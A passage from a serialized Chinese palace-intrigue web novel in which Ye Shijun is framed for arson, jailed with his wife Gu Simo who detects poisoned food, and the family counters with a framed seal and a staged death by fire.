“好,我听九姑的。”夜时竣又咧嘴笑。 九姑脸颊又忍不住发烫,赶紧闪人。 顾思沫坐起身,掩着嘴对夜时竣小说,“你也是的,说话怎么一点都不讲究,没看到九姑尴尬吗?” “尴尬?”夜时竣偏头朝门外望去,“她那不是害羞吗?瞧她刚听到我提到爹就忍不住脸红,这说明什么,说明她和我爹有戏啊!” “……”顾思沫唇角微微扯了一下。 也不知道这家伙吃什么长大的,说他懂情吧,他又要与她做朋友。 说他不懂情吧,他还知道脸红是害羞。 夜时舒和尉迟凌睡到晌午才醒。 一醒来就听见文岩来报消息,“王爷、王妃,太子在万福寺险些命丧大火。据说方丈已经查实,是有人故意纵火。皇上得知消息,已经派御林军去接太子回宫了。” 本小章还未完,请点击下一页继续阅读后面精彩内容!尉迟凌挑了挑眉。 夜时舒忍不住鄙夷,“想必是太子吃不得寺中的苦,自己整出来的火吧!什么祈福百天,十天都没坚持住!” 不怪他们以小人之心度君子之腹,就尉迟睿的人品,他们相信他能干出那种事! 再说了,如果真有人要太子性命,在万福寺那种地方,对方会蠢到仅仅放火吗?不赶尽杀绝更待何时? 还险些被烧? 这不笑话嘛! 黄昏时分。 两对夫妻刚准备用膳。 一名太监带着御林军突然来到承王府。 但他们找的不是尉迟凌和夜时舒,而是夜时竣—— “夜二公子,请问您的玉佩可在身上?”太监礼貌地躬着身询问。 “玉佩?”夜时竣下意识朝腰间看去,接着浑身上下左右摸起来,剑眉倏地蹙起,“咦,我的玉佩呢?” 他们找上夜时竣的时候夜时舒的脸色就不好看了,遂忍不住问道,“公公,您问我二哥玉佩做何?” 太监叫刘义,听到夜时舒问话,躬着身转向她,说道,“承王妃,太子在万佛寺险些命丧大火,经查证,那火乃是有人故意而为。寺中僧人在扑火时,在寮房附近发现了一枚玉佩,后交由太子带回宫中。经辨认,玉佩乃是夜二公子的。皇上听后,特令奴才前来请夜二公子去宫中问话。” 花厅中所有人都惊得变了脸。 特别是夜时舒,她怎么都没想到自家二哥竟会遭遇如此栽赃污蔑! 夜时竣脱口呼道,“皇上是怀疑我纵火烧太子?” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第83章 夫妻共苦 之前九姑还在提醒他别去凑这个热闹,没想到这‘热闹’竟自己凑上来了! 为了证明清白,夜时竣自然要随他们进宫。 尉迟凌和夜时舒、顾思沫也跟着去了。 金銮殿上。 尉迟晟瞪着殿中下跪的夜时竣,虽说龙颜并未大怒,但也是相当凌厉,“夜时竣,这快玉佩你如何解释?为何你的贴身之物会在万福寺出现?” 殿中除了下跪的夜时竣他们四个,还有太子尉迟睿和澜贵妃。 一名小太监端着托盘到夜时竣面前,托盘里正摆着一块碧色的玉佩。 夜时竣看了一眼玉佩,从容地道,“回皇上,此物的确是微臣的,但微臣并不知它为何会出现在万福寺,还请皇上明查!” 澜贵妃斥道,“物证在此,你休得狡辩!太子与你无冤无仇,你为何要置他与死地?说,你到底受了何人的意?” 夜时竣回道,“微臣近来不曾出过城,这玉佩就算在万佛寺发现,也不代表是微臣落下的。” 澜贵妃哼道,“是不能代表是你落下的,但你可以派使他人做事啊!你是练家子,你手下做事的人也不会是泛泛之辈,做这些事,何需你亲自动手?” “母妃不愧乃后宫之主,审讯人的方式霸气逼人!”车轮椅上突然响起赞叹声。 但这赞叹声中包含的深意,只要耳朵没聋,都能听出来。 那可真是满满的嘲讽! 澜贵妃很是不满地瞪着儿子,“凌儿,夜二公子是承王妃的亲兄弟不假,但你也不能如此替他说话!太子所遇之事,本就难以取证,承蒙佛祖保佑,现场寻到了证据,他还有什么理由狡辩?” 尉迟睿突然开口,“娘娘,别为了我伤及你们母子和气。”接着他向龙椅上的尉迟晟说道,“父皇,儿臣觉得这一切应该是误会。儿臣与夜二公子无冤无仇,何况夜二公子身为大邺国的先锋将领,对大邺国忠心不二,断不会做出伤害儿臣的事,还请父皇明察秋毫还夜二公子清白。” 若是旁人替夜时竣请求还没什么,夜时舒他们完全没想到,尉迟凌竟会主动替夜时竣求情! 然,还不等任何人开口,澜贵妃便呵斥尉迟睿,“太子这是做何?你可别看在夜二公子是承王妃兄长的份上就心慈手软!谋害储君,可是诛九族的大罪,夜二公子必须解释清楚玉佩的事!” 尉迟凌冷冷地扫了他们一眼,直白地挑明,“无需你们在此一唱一和。如果仅凭一枚玉佩就能定罪,那明日开始,我大邺国掉玉佩的事将会数不胜数。” 换言之,拿别人个东西就能行栽赃之事,那百姓还有安宁可言? 澜贵妃气急不已,“凌儿!太子可是你兄长,你怎能如此不顾他安危?” 尉迟凌唇角勾起凉薄的笑,“母妃何不直言,说是我教唆夜二公子所为,如此岂不更省事?毕竟太子出事,首当其中我才是最得利者,不是吗?只是我实难理解,太子都求情了,您却与我这个亲生儿子计较个不停,不知母妃为的又是哪般?” “你!” “够了!”尉迟晟从龙椅上怒起,目光不满地瞪着澜贵妃,“是朕审问,还是你审问?” 澜贵妃被儿子堵得无以反驳,又被帝王训斥,顿时脸色青白交错。 尉迟晟将目光投向夜时竣,沉声道,“夜时竣,你既承认玉佩是你的,那便有了嫌疑。在朕没查清楚真相之前,你先大牢待着。” 夜时竣俯首叩拜,“是!” “皇上!”顾思沫突然跪到夜时竣身侧,扬声哀求道,“臣妇与时竣是夫妻,所谓一荣俱荣,一损俱损,臣妇愿随夫一同入狱,还请皇上恩准!” “沫儿你……”夜时竣扭头看着她,眼中有怒,但更多的是无法形容的震惊和动容。 夜时舒也很是意外。 她是真没想到这个二嫂能有这份心。 她紧抿着唇没说话,因为尉迟凌已经用眼神暗示了她,她只能沉默地望着玉阶上那满身威严的帝王。 对于顾思沫的举动,尉迟晟都明显愣了一下。 目光盯了他们夫妻片刻后,他沉声道,“那便一同去大牢吧!” 夜时竣和顾思沫同时向他磕了一头,然后随殿中侍卫离开。 尉迟晟离开前扫过殿中所有人,最后目光瞪了澜贵妃一眼。 他一走,夜时舒也推着尉迟凌的车轮椅离开了金銮殿。 夫妻俩多余的眼神都没给澜贵妃和尉迟睿。 “娘娘,后面的事您莫要再插手了,我知道该如何做。”尉迟睿低声道。 澜贵妃原本想的是,要对薄公堂,太子没有那个口才,恐无法给夜时竣定罪。 但眼下,皇上明显对她不满,她再干涉,恐怕最后吃亏的是太子…… “好,后面的事交给你。” …… 夜庚新和夜时珽听闻消息,本来是想进宫为夜时竣求情,但被文岩和文墨拦下,还把他们父子带去了承王府。 看到夜时舒和尉迟凌回府,父子俩激动地上前询问。 这章没有结束,请点击下一页继续阅读!“舒儿,你二哥他人呢?” “小妹,皇上如何说?” 夜时舒把金銮殿上的争执经过转述给了他们听。 父子二人都捏紧了拳头,但一时又不知该如何为夜时竣洗冤。 尉迟凌道,“不必担忧,他们不过是去牢里住几日。” 夜时舒揪心道,“王爷,我现在只担心他们在牢里不好过。那种地方,稍微做点手脚,说不定就见不到明日的太阳了。” “有你二嫂在,何须担忧?”尉迟凌别有深意地勾起唇角。 “……”夜时舒不禁一怔。 夜庚新这才发现老二媳妇没回来,顿时惊道,“思沫也被囚大牢了?” 夜时舒回他,“爹,二嫂是主动陪二哥入狱的。” “什么?”这下不仅夜庚新惊讶,夜时珽也同样倍感意外。 …… 昏暗的狱牢中。 阴冷潮湿,空气中全是酸腐的气息,让人作呕。 “我说你也是,跟着进来做什么?”夜时竣感动之余还是忍不住念叨,“你看看这种地方,是女子待的吗?” “怎么,有人陪,你还不乐意?”顾思沫嘟起嘴嫌弃他不识好歹。 “乐意!怎么不乐意!”夜时竣勾着她肩膀笑道,“你如此讲义气,这人情,我这辈子都不会忘!” 顾思沫微僵,然后扭头看他,“就只是讲义气吗?你没别的感觉?” 夜时竣脱口道,“当然有啊!你都不知道,我感动得都快哭了!” 顾思沫,“……” 在牢里待的第一天,很平静。 狱卒每日送两顿饭。 第二天的食物跟昨天一样,是每人两个馍加一碟碎菜叶子。 狱卒一走,夜时竣抓起一个馍就要咬。 “别吃!” 不等馍到他嘴巴,顾思沫突然夺了过去。 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第84章 以牙还牙 “怎么了?”夜时竣扭头看她。 “想死啊?”顾思沫没好气地瞥了他一眼,然后把两碟小菜检查了一番,确定小菜没问题后,她把两碟小菜都给了他,“你吃这个。” “那你呢?” 顾思沫没说话,只当着他面咬起了馍。 夜时竣脸色大变,扑到她身上就要去抢那馍,还要抠她咬进嘴里的,“我看你才是想死,给我吐出来!” 顾思沫眼疾手快的把馍藏到身后,同时摆动脑袋不让他抠。 夜时竣那个急啊,索性直接把她压倒,困于自己身下,像掰鱼嘴一样要掰开她的嘴。 顾思沫哪还咽得下去,赶紧吐出来,然后咬着牙恼道,“你干什么啊?忘了酒馆那次吗?” 夜时竣猛地愣住。 酒馆那次? “你不能吃,但我能吃,那些东西对我无用。”顾思沫又说了一遍。 夜时竣已经想起来了,干干笑道,“我这不是怕你出事嘛!” “你赶紧起开!” “呃……” 随着她暗恼的声音,夜时竣这才发现两人的姿势…… 不是一般的暧昧! 下一刻,他面红耳赤地弹坐起,“我……我不是有意的……” 顾思沫也坐起身,嘟着嘴给了他一个白眼。 接着她继续咬起馍,边吃边用着两人才能听到的嗓音和他说道,“这馍里面加了毒药,但不多,即便顿顿吃,短时日内也不会发作。” 短时日内不会发作,那时间长了就不说定了。 夜时竣俊脸绷得冷硬,“你说他们这是什么意思?既然要害我,为何不给我个痛快?” 顾思沫瞥了他一眼,“害人的方式非得直接要人命?我们是因为太子被关进来的,如果我们在这里面出了事,那太子不就成嫌疑犯了?”她捏了捏手里的馍,“这里面的毒长时间服用会侵蚀腑脏,让人痛不欲生。我想太子他们的目的应该要我们生不如死,然后以解药为诱饵掌控我们。” 夜时竣听到头皮发麻后背发寒。 从承王大婚那日的几拨暗桩,到顾家藏在礼物中通敌叛国的物件,再到他被诬陷‘纵火烧太子’而入狱,都清清楚楚明明白白在告诉他,太子和澜贵妃对他们夜家和承王联姻很是不满! 不,不是不满。 而是容不下他们! 他就纳闷了,澜贵妃不是承王的母妃吗? 亲生儿子在朝中多了助力,她这个母妃不应该为承王感到高兴? 为何承王与他们夜家联姻,澜贵妃会帮着太子着急,甚至比太子还急? “时竣。”顾思沫发现他突然发呆,抬手在他眼前晃了晃,“想什么呢?赶紧把那两碟小菜吃了,别留着让人起疑。” 夜时竣回过神,伸手端起地上的一只碟子。 其实他现在一点胃口都没有,不过经过顾思沫的分析,既然已经猜到了太子的用意,那他们就必须陪着演戏。 如果让太子知道他们没吃这些食物,肯定又会从别处下手。 那两只馍,顾思沫也没吃完,留了半只藏在身上。 没过多久,狱卒来查房,见他们把东西吃完了,看他们的眼神莫名多了一丝笑,然后捡了空碟子离开。 等狱卒一走,顾思沫便背靠石墙休息,“我们‘吃’了那些东西,太子应该放心了。只要他放心,我们就没什么危险了。” 夜时竣挪到她身侧,拍了拍自己的肩。 顾思沫也不客气,大大方方地枕到他肩上。 夜时竣垂眸,从他这个角度,看不清她全貌,但能看到她又长又密的睫毛,微微翘着,甚是好看。 她长得的确平庸,就连顾夫人李氏要让她以色侍人都没人要。人前,她也尽显卑微低调,尽量减少自己的存在感。 可私下底,她活泼好动,甚至有些伶牙俐齿。也是在她露出本性时,才能让人发现,她有一双很漂亮的眼睛,明亮、生动、聪慧、俏皮…… …… 承王府。 文岩来报,“王爷、王妃,今日午时前丞相府一名丫鬟去了大牢,说是探望自己的亲人。” 丞相府是太子妃祝华凝的娘家,丞相府的人去大牢,傻子都知道没好事。 夜时舒不确定地看着车轮椅上的男人,“王爷,你确定我二嫂能帮我二哥度过这一劫?” 是他阻止了所有人去狱牢中保护她二哥,还说有她二嫂在,她二哥定会安然无恙。 只是这家伙硬是不说缘由,让她心中疑惑丛生,但又不得不选择相信他。 “本王骗你做何?”尉迟凌睇了她一眼。 “……”夜时舒不说话了。 似是担心她气上自己,尉迟凌清了清嗓子,又道,“七日内定让他们安然无恙出来。” 他说话做事一向不虚,夜时舒也只能压下心中担忧,听从他的安排。 而将军府那边。 尉迟凌也同样给夜庚新和夜时珽打过招呼,父子俩见他如此信誓旦旦,心中安了许多。 只是一晃五日过去了,帝王毫无放人的意思,甚至提都不提半个字,仿佛什么事也没发生过。 就在夜庚新带着老大进宫为老二求情时,大理寺卿刘勃到御书房求见尉迟晟。 听说他有极其重要的事,尉迟晟便让父子俩先退到一旁,先宣了刘勃觐见。 “刘爱卿,何事如此着急见朕?” 刘勃顾不得抹擦额头上的细汗,禀道,“皇上,昨日城东出了一起灭门惨案,衙门已及时将凶手捉拿归案。” “如此凶狠之徒,既已归案,那便依法严惩!就为这事求见朕,难道要朕亲自去大理寺审案?”尉迟晟有些没好气。 “皇上……”刘勃从袖中取出一物,双手托起,“衙役在凶案现场发现了此物!” 一旁的夜庚新和夜时珽好奇地望着,但因为有些距离,且那物件并不大,他们一时间也看不清楚究竟是什么。 但尉迟晟盯着他手中紫色的东西,忽地眯起了眼,紧接着起身绕过桌案走向刘勃,拿起那紫物。 “齐绥!” “奴才在。”总管齐绥赶忙上前应声。 “把澜贵妃叫过来!” “是。” 那紫色物件是一块紫玉,雕着栩栩如生的仙鹤,正是尉迟晟多年前命人为澜贵妃精心打造的私印! 不多时,澜贵妃进了御书房。 尉迟晟沉着脸让刘勃将先前的话复说一遍,等刘勃说完,他瞪着澜贵妃,冷声质问,“你的私印为何出现在命案现场?” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第85章 如他们愿 澜贵妃瞧着他手里的私印,一脸失血地反问道,“皇上,臣妾的私印怎会在命案现场?” “朕在问你!”尉迟晟怒道。 “皇上,臣妾冤枉啊!”澜贵妃扑通跪地,又着急又不解又惶恐地解释起来,“臣妾的私印明明就在臣妾的寝宫中,这一定是有人故意从臣妾宫中将其盗走,然后放在命案现场,好让臣妾背上杀人之罪!” “呵!”尉迟晟笑了,不过笑得有些嘲讽,“如此重要的东西能被人盗去,你当宫内侍卫是摆设?” “皇上,臣妾真的冤枉!臣妾与那被灭口的人家无冤无仇,别说臣妾没理由杀人,就算有理由,臣妾手无缚鸡之力也做不到啊!”澜贵妃激动地道。 “你不会杀人,难道不会派人做事?” “皇上!臣妾发誓,臣妾绝无可能做出这种事!” “那夜二公子如何被你定罪纵火烧杀太子的?”尉迟晟盯着她,突然犀利地问道。 “……”澜贵妃美目圆睁,跪在地上的身子狠狠僵住。突然,她余光瞥到一旁的夜家父子,像是反应过来什么,抬手怒指道,“是你们父子做的?竟敢盗窃本宫的私印,你们真是好大的狗胆!” 夜庚新赶紧上前朝尉迟晟跪下,急声道,“皇上明鉴,此事与臣父子无半点关系!这玉物乃是贵妃娘娘的私印,又存放在贵妃娘娘宫中,臣父子既没那个胆子,更没那个本事去娘娘宫中行窃,还请皇上为臣父子做主!” “不是你们会是何人?你们休得狡辩!”澜贵妃怒不可遏地道。 “够了!”尉迟晟冷喝,“他们父子今日是来帮夜时竣求情的,若是他们所为,他们何须来此,留在府中看你笑话岂不更妥?” 澜贵妃被堵得哑口无言。 尉迟晟看着手中私印,语气缓了几分,“仅凭一块玉佩就认定玉佩的主人是凶手,的确有失严谨,看来夜时竣纵火烧杀太子一事确实有冤。” 跟金銮殿那日的咄咄逼人相比,此刻的澜贵妃是一句反驳的话都说不出口。 这事,摆明了是有人拿‘以其人之道还治其人之身’报复她! 至于是谁? 不是夜家父子、便是承王夫妇! “齐绥。” “皇上,奴才在。” “传朕口谕,赦夜时竣夫妇无罪。另,他们夫妇蒙冤入狱,赐黄金百两,以兹安抚。” “是!”齐绥领旨离开了御书房。 对此宣判,澜贵妃低垂着头并无任何不服。 夜庚新和夜时珽跪地叩拜,齐声道,“谢皇上隆恩!” …… 听说夜时竣和顾思沫被赦罪后,夜时舒第一时间赶回了将军府。 得知了御书房发生的事,夜时舒惊讶不已,“这、这也太巧了吧?” 何止是巧,都可以叫做‘离奇’了! 先不说皇宫是如何森严,就说澜贵妃的私印,那是随随便便就能被盗走的?而且还是在这样的节点上,要说不是有人刻意为之,鬼都不信! 可谁能做这事? 承王吗? 这几日他们都在一起,文岩、文墨、九姑都在身边,没见他们有任何行动啊。何况这是救她二哥,即便有行动,也没道理瞒着她。 “大哥,你们如何看?” “你二哥他们已经出来了,此事便揭过吧。”夜时珽微微笑道。 “嗯。”夜时舒明白他的意思,这事把澜贵妃也扯进去了,说多了那便是意指澜贵妃,二哥好不容易脱险,没必要再去招惹澜贵妃。 他们三个聊着,夜时竣和顾思沫在桌边埋头进食。 “二哥,可是在牢中被扣了吃食?”看着他们狼吞虎咽的样子,夜时舒无比心疼。 “克扣倒没有,就是……嘿嘿!”夜时竣说话说到一半便被顾思沫拿手碰了碰,于是干笑起来,“你们想也知道,那种地方饿不死人也饱不了腹,我胃口本就大,这好几日过去了,自然饿得慌。” 夜时舒可没错过顾思沫那再明显不过的肢体动作,但她也识趣,并未拆穿,只关心地说道,“二嫂,别吃那么急,厨房有的是。” “嗯嗯……”顾思沫一边点头一边往嘴里塞肉。 没人知道,这五天里,他俩一个顿顿吃下了药的馍馍,一个顿顿吃没有油花的菜叶。现在终于回家了,怎能不贪食? 要不是他们一家把自己盯着,顾思沫都想端着盘子直接往嘴里倒了! “将军。”门房侍卫突然来报,“首辅大人和夫人听说二公子和二少夫人被无罪释放,特来看他们。” 闻言,夜时竣和顾思沫先是一愣,随即像是约好似地默契地放下碗筷。 夜时竣对夜庚新说道,“爹,你告诉他们,我和沫儿从牢里回来后就身子不适,现正在房中休息!” 接着他又对夜时珽和夜时舒说道,“大哥、小妹,你们去我房里再说!” 不等夜时舒他们开口,他拉着顾思沫便跑没影了。 “这……”夜庚新一脸懵,不明白老二到底要做什么。 “爹,照二哥说的去做吧。您先稳住他们,我和大哥先去二哥那边,看看什么情况。”夜时舒看得出来自家二哥二嫂有事瞒着他们。 这章没有结束,请点击下一页继续阅读!不多时,顾勇和李氏进了主院。 夜庚新在花园里相迎。 彼此寒暄过后,李氏一脸慈母笑容,说道,“听说时竣和沫儿被无罪赦放,我和老爷忐忑的心总算放下了。可我们也不放心,不知他们这几日过得如,便来瞧瞧。” 夜庚新想起老二的话,突然叹了口气,“大牢那种地方再好能好到哪去?他俩一回来就说身子不适,给他们准备的吃食他们都没胃口用。” “如此严重?听说府上有府医,可有让府医瞧过?”李氏关心问道。 “瞧了,府医也没瞧出什么病兆,猜测是他们在狱中太久,心情郁结所致。” 闻言,李氏朝顾勇看去。 夫妻俩交换眼神后,顾勇朝夜庚新拱了拱手,“亲家公,沫儿身子自小就虚弱,劳你们费心了!” 夜庚新笑了笑,“说这话也太见外了,自沫儿进了我夜家,我都把她当女儿看待。”随即他抬手,“亲家公、亲家母,里面请。平日里我忙于军务,今日难得与你们一叙,你们可得赏脸留下多喝几杯。” 顾勇和李氏原本是想去看看夜时竣和顾思沫的,但在他热情接待下,二人便忍下了心急。 一盏茶的时间过去,顾勇和夜庚新正聊着西北边塞的事,夜时舒突然慌张跑进厅堂,惊呼道,“爹!不好了,二哥和二嫂咯血不止,周叔都查不出病因!” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第86章 露出原形 夜庚新微微一愣。 想起老二先前的话,又看着女儿夸张的样子,随即惊呼着起身,“什么?好端端的怎会咯血呢?” 夜时舒焦急道,“要不你们去看看吧!我现在就派人去承王府,陆院使刚好在王府,请他过来给二哥和二嫂瞧瞧!” 夜庚新赶紧往老二院子去。 顾勇和李氏也不落下,紧跟着去了。 看着他们夫妻的背影,夜时舒红唇勾起冷笑。 想灭他们夜家…… 等着吧! 看谁先被灭! 卧房里。 夜时竣坐床头,顾思沫坐床尾。 两个人面如死灰,呼吸沉重,嘴角滴着血珠,仿若将亡之人。 最刺眼的是地上两滩血水,伴随着作呕的腥臭。 “时竣!沫儿!”夜庚新夺步到床边,惊恐不已地问道,“到底怎么了?为何会这样?” 顾勇和李氏看着房中的一切,夫妻俩对视了一眼,眼中都带着一丝窃喜。 但这喜色很快被他们掩去,跟着夜庚新到床边,心疼地问道,“沫儿,你们这是怎么了?可别吓唬我们啊!” 夜时珽给周铮使了个眼色。 周铮一脸沉重,向他们说道,“二公子和二少夫人这病来的蹊跷,小的医术不精,实在诊不出病因,还请将军、首辅大人、夫人恕罪。” “沫儿啊,你怎么如此命苦……”李氏悲伤地哭喊起来。 “沫儿,都是父亲不好,是父亲没有照顾好你,父亲有愧啊!”顾勇也痛心疾首地跟着喊。 夜庚新盯着他们,要不是了解过老二媳妇从小就被遗弃,他都要被他们感动落泪了。 扭头看向自家老二,他心里忍不住犯难,别人都悲痛成那样了,他不嚎几声会不会被人唾骂不配为人父? “首辅大人、夫人,你们也别太难过,我家小妹已经派人去承王府请陆院使了,他是太医院医术最高的人,相信他一定能查出时竣和沫儿的病因!”夜时珽上前安抚道。 “是啊,亲家公、亲家母,你们先别急着伤心,等陆院使来为时竣和沫儿诊治,相信他一定有办法的。”夜庚新没办法像他们一样虚情假意地哭嚎,只能佯装对陆院使抱有希望的模样跟着老大一起安抚他们。 承王府离将军府不远,没多久院使陆长青便背着医药箱赶来了。 同来的还有车轮上的承王。 陆长青给夜时竣和顾思沫诊脉后,沉痛说道,“将军、首辅大人、夫人,恕下官直言,二公子和二少夫人乃中毒所致,且毒气攻入腑脏,恐时日无多了!” 他这番话比周铮说得还严重,可以说直接给夜时竣和顾思沫判了‘死刑’。 “什么?”顾勇和李氏难以接受,李氏更是悲痛不已地把顾思沫抱住,哽咽唤道,“沫儿啊,你真是命苦啊!” 夜庚新僵着,看看老大、又看看老二、再看看承王身侧的老三,有点不知所措。 他们到底在玩什么把戏? 不是装身子不适吗,怎么就时日无多了? 见他傻愣着,夜时舒赶紧到他身侧,不停地给他使眼色。 夜庚新狠狠剜了她一眼,但下一刻还是配合地闭上了眼—— “爹!爹!”夜时舒惊呼地扶住他。 “爹!”夜时珽也上前配合,并急声对郝福道,“郝叔,快扶我爹回房!” 顾勇和李氏回头一看,只见夜庚新昏倒了。 郝福上前,与夜时珽一同将人带走了。 “父亲……”顾思沫突然虚弱地唤道。 顾勇重新看向女儿。 顾思沫颤抖地向他伸出手,“父亲……女儿将死……此生怕是无法尽孝了……” 顾勇低垂着眉眼,仿佛难过得说不出话来。 “女儿还有一心愿……请……请父亲成全……” “沫儿,你还有何心愿,尽管说。”李氏替顾勇开口。 “我娘的遗物还在顾家……我想……想回去看看……” 顾勇和李氏一听,差点没把嘴角咧到耳根。 他们今日来将军府,就是想探探这对小夫妻的情况。 没想到毒性发作得如此快…… 最重要的是,他们都没开口呢,顾思沫这小蹄子竟主动要回顾家! 这不就是他们来将军府的目的嘛! 李氏借低头抹眼泪的动作隐去嘴角的笑,然后回头朝夜时舒看去,“承王妃,沫儿这样、二姑爷也这样,将军府同时照顾他们两个,只怕忙不过来。您看能不能让沫儿随我们回顾家?以前我们没能好好照顾她,她最后的日子,我们想多陪陪她。” 夜时舒揪心地看了一眼门外,又看了看床上奄奄一息的自家二哥,长声叹道,“顾夫人,我二嫂已是夜家人,不管她是生是死都应该在我夜家……” “小妹……我……我就想回顾家……看看我娘的遗物……”顾思沫虚弱地朝她哀求道。 “唉!好吧,我就替爹和二哥做主,让你回顾家住两日,等过两日让郝叔去接你。”夜时舒沉重地点了点头。 就这样,顾勇和李氏把顾思沫带走了。 本小章还未完,请点击下一页继续阅读后面精彩内容!等他们一走,夜时竣便如同某种神力突然附体般,猛地坐起身。 夜庚新带着夜时珽和郝福返了回来。 他已经知道了儿子儿媳在狱中的经历,此时的他铁青着脸,攥着拳头,咬牙切齿地溢道,“顾家可真是没人性,为了对付我们不惜对亲生骨肉下手!不行,此事我一定要奏明皇上,让皇上发落!” 夜时珽拦住他,低沉道,“爹,状告他们在狱中被人下毒,就算查实,最多就是几个狱卒被灭口,掀不起风浪的。” 夜时竣附和道,“是啊,爹,没证据证明与太子他们有关。所以我和沫儿才想‘以身入局’,把他们的目的套出来。” 夜庚新朝女儿看去。 夜时舒‘呵呵’笑,“爹,这次可不是我的主意,我只是配合二哥二嫂。”顿了一下,她收起笑,认真补充道,“不过这一次一定要让顾家灭门,给太子党一记重拳!” “……!”夜庚新汗,他们这是又要干哪样? “好了,爹,这事你甭管,全当什么都不知道!”夜时竣跳下床,“本来还以为过几日才行动的,没想到顾家那么着急。我得赶紧去准备,今晚帮沫儿脱身。” …… 首辅府。 顾思沫被接回去,顾勇和李氏便直接变脸。 把她扔回马厩旁的那间陋室不说,不等顾勇拿出鞭子,李氏便先给了她一耳光,厉声骂道,“你个吃里扒外的东西,不是要抢你妹妹的男人吗,现在知道厉害了吧?” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第87章 火中逝世 顾思沫趴在地上,目光虚弱又呆滞地望着他们,仿佛难以置信他们前后的变化。 现在是在首辅府,李氏毫不顾忌地大骂,“你以为接你回来是要把你供起来?真是白日做梦!” “你们……你们究竟想做什么?” “做什么?”李氏蹲在她面前,捏着她脖子逼她抬起头,讥讽地笑道,“看得出来你对夜家那老二是动了心的,那你应该不想他死吧?” “你……你什么意思?”顾思沫仍旧一脸不解。 “实话告诉你,我们有解药,能让你们活下去,就看你够不够聪明、够不够听话了!” “你们有……有解药?难道……我们中毒是你们做的?”顾思沫不敢置信地望着顾勇,“父亲……为何要如此做?” 顾勇紧了紧手中鞭子,恶狠狠地瞪着她,威胁问道,“我现在问你,要不要帮顾家做事?” “做……做什么事?” ‘啪’!鞭子突然甩到她身上。 紧接着就是顾勇的怒斥声,“让你做就做,你敢多问一句看我不打死你!” 顾思沫颤抖地缩紧身体,嘴里求饶道,“爹……饶命啊……” 李氏起身拉住顾勇的手,“老爷,先问清楚再打也不迟。”接着她居高临下地盯着顾思沫,直言问道,“顾思沫,你想夜时竣活命吗?” “……想。”顾思沫想也没想地点头。 “那你可愿意帮太子做事?” “帮……帮太子做事……做……做何事……” “做什么你别管,只要以后你按我们吩咐的去做,我们不但会给你和夜时竣解药,以后更不会再苛责你。” 顾思沫掉着眼泪求道,“只要你们能给解药,保证我和时竣活下去,叫我做什么都行!” 闻言,李氏朝顾勇看去。 夫妻俩脸上都有了笑意。 不过李氏接着又道,“你们现在只是毒发初始,就算死也要半个月后去了。这半个月内,只要你把我们交代的事做好了,我们便给你们解药。” 顾思沫显然也没有那么好忽悠,咬着唇紧紧注视着他们。 但她明显又别无选择,只能松开唇点头,“好!” 为了让她听话,顾勇和李氏也算费了老大劲儿,眼见她妥协,夫妻俩再次交换眼神后,李氏一改刻薄脸,又蹲到她面前,心疼地道,“好沫儿,这阵子就委屈你了。一会儿我让人拿疗伤的药来给你用,再给你煮碗缓解毒性的药,等你用了后就不会那么难受了。” “多……多谢二娘……”顾思沫涌泪谢道。 不一会儿,顾勇和李氏离开了后院。 顾思沫继续趴在地上。 半个时辰后,一抹华丽的倩影进了房。 “我的好姐姐,怎么今日想着回来了?”顾诗雅走到她面前,蹲下身,啧啧地打量着她,“看来你这夜家二少夫人过得不怎么样嘛!” 顾思沫只淡淡地瞥了她一眼,没说话。 顾诗雅掩嘴‘呵呵‘笑,“你以为嫁进夜家就有荣华富贵享了?命贱就是命贱,还想攀权附势,真是可笑!” 许是嫌屋中味儿太臭,她也没打算久留,将一只药瓶丢到顾思沫身上后便起身离开了。 顾思沫继续趴在地上,甚是小睡了一觉。 一直到天黑,再没人来看过她。 不知道过了多久,从她身后的窗户外传来异样的响动。 她这才弹跳起身,快速奔到窗户边,将窗户打开。 “小妹,怎么是你来?” 夜时舒没与她多说,直接将看上扛着的重物从窗户塞到房里。 这重物不是寻常物,而是一具从乱葬岗找来的女尸。 这也是她早就交代夜时竣做的事。 她没有耽误时间,快速与女尸互换身上衣物。摸着自己脖子上她娘亲留给她的铜锁,她闭着眼深呼吸,然后取下铜锁戴到女尸脖子上。 她在屋里忙活,夜时舒则是在屋外忙活,等她布置好女尸后,夜时舒也将屋前屋后泼好了油—— 火势一起,便迅猛传来,整排七八间屋子很快便被大火包围! 府里值夜的下人发现火势时,房檐梁木都挂起火串了,根本没法抢救屋里的东西。 顾勇和李氏听说马厩这边着火,大惊失色地赶来。 就连顾诗雅也从美梦中惊醒赶了过来。 可漫天的大火,滚滚的浓烟,熏呛得人根本不敢靠近,更别说救火了。 全府上下只能站在远处傻傻地看着大火狂烧—— 天亮以后。 火势总算灭了。 顾勇刚吩咐下人寻找顾思沫的尸体,就听门房匆匆来报,“老爷、夫人,夜将军和两位公子来了!” 闻言,李氏忍不住斥骂,“该死的,是谁走漏了风声,竟让他们这么快就知道了!” 顾勇瞪着被烧残的联排屋子,没好气地道,“来就来了,反正又不是我们放的火! 他只是恨啊,那贱骨头还没帮他们做事呢,就这么死了! 正在这时,家丁已经从残房中寻到了顾思沫的尸体,然后跑到顾勇和李氏面前,呈上一屋,“老爷、夫人,大小姐已经被烧焦了,这是从大小姐身上摘下来的。” 李氏不识。 但顾勇却激动地一把抓过那枚铜锁,咬牙切齿地道,“当真是那个贱骨头!” 这铜锁他再熟悉不过! 是他早年还未入仕时为顾思沫的娘打造的。 那时的他一贫如洗,全靠顾思沫的娘给大富人家做活供养他参加科考。他为表感激,便请人打造了一把铜锁送给顾思沫的娘。 而顾思沫一出生后,她娘便把这铜锁戴在了她身上…… 夜家父子进到后院,刚巧听到家丁的话,被父兄搀扶着的夜时竣激动地扑向顾勇,抢过那枚铜锁后,声嘶力竭地仰天哭吼—— “沫儿——” 夜庚新也激动地指着顾勇夫妇,“你们就是如此照顾沫儿的吗?竟然把她照顾到火里去了!” 